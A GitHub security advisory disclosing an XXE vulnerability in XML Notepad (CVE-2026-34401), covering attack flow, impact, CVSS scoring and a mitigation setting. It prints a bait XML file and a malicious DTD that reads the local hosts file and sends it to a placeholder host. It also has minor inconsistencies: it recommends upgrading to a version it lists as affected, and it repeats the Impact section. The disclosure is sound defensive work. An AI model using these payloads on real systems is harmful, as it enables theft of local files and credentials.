XML External Entity (XXE) Injection via Unsafe XmlTextReader in XML Diff and Schema Loading

Moderate **lovettchris** published **GHSA-5j32-486h-42ch** yesterday

Package

XmlNotepad

Affected versions

<= 2.9.0.21

Patched versions

None

Description

Summary

XML Notepad does not disable DTD processing by default which means external entities are resolved automatically. There is a well known attack related to malicious DTD files where an attacker to craft a malicious XML file that loads a DTD that causes XML Notepad to make outbound HTTP/SMB requests, potentially leaking local file contents or capturing the victim's NTLM credentials.

Please upgrade to XML Notepad v2.9.0.21.

Details

Attack flow:

1. Attacker crafts a malicious XML file with an external entity pointing to an attacker-controlled server or local file
2. Victim receives the file and opens it in XML Notepad
3. XML Notepad parses the DTD and resolves the external entity
4. Outbound HTTP or SMB request is made without any user interaction beyond opening the file

Recommended fix:

XML Notepad should disable DTD processing by default, and inform users about this risk. Only when the user really needs DTD processing on DTD's they know and trust should the feature then be available.

DTD Entity Leakage

Users must be careful about which DTD's they allow XML Notepad to process. There is a well known attack using malicious DTD's that works like this. A safer example of this is included in the XML Notepad samples folder named `DtdEntityLeakage.xml`:

Step 1 - Create `bait.xml`:

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root SYSTEM "http://untrusted/MaliciousDtd.dtd" [
<!ELEMENT root (#PCDATA)>
]>
```

Step 2 - User open `bait.xml` in XML Notepad, unaware that is a malicious XML file.

Result: XML Notepad immediately makes an outbound HTTP GET request to the listener```

The malicious DTD contains parameter entities that read local secrets
and then sends those secrets to someplace as URL query parameters:

```
<!ENTITY % hosts SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">
<!ENTITY % leak SYSTEM "http://someplace/bad.dtd&amp;hosts=%hosts;">
<!ENTITY bad "<![CDATA[%leak;]]>">
```

Impact

Any user who opens a specially crafted XML file in XML Notepad is vulnerable — no clicks beyond opening the file are required. An attacker can use this capture secrets from your local machine.

Mitigation

Disables DTD processing if you load DTD documents from unknown sources by going View/Options dialog
and set `Ignore DTD=True` under Validation options.

Impact

Any user who opens a specially crafted XML file in XML Notepad is vulnerable — no clicks beyond opening the file are required. An attacker can use this to:

- **Exfiltrate local files** readable by the victim user (configs, credentials, sensitive documents)

- **Capture NTLM credentials** via forced SMB authentication to an attacker-controlled server, which can then be cracked offline or relayed
- **Perform server-side request forgery (SSRF)** against internal network services if the victim is on a corporate network

Severity

Moderate 6.5 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

CVE ID

CVE-2026-34401

Weaknesses

▶ CWE-611

Credits

infosecninja Reporter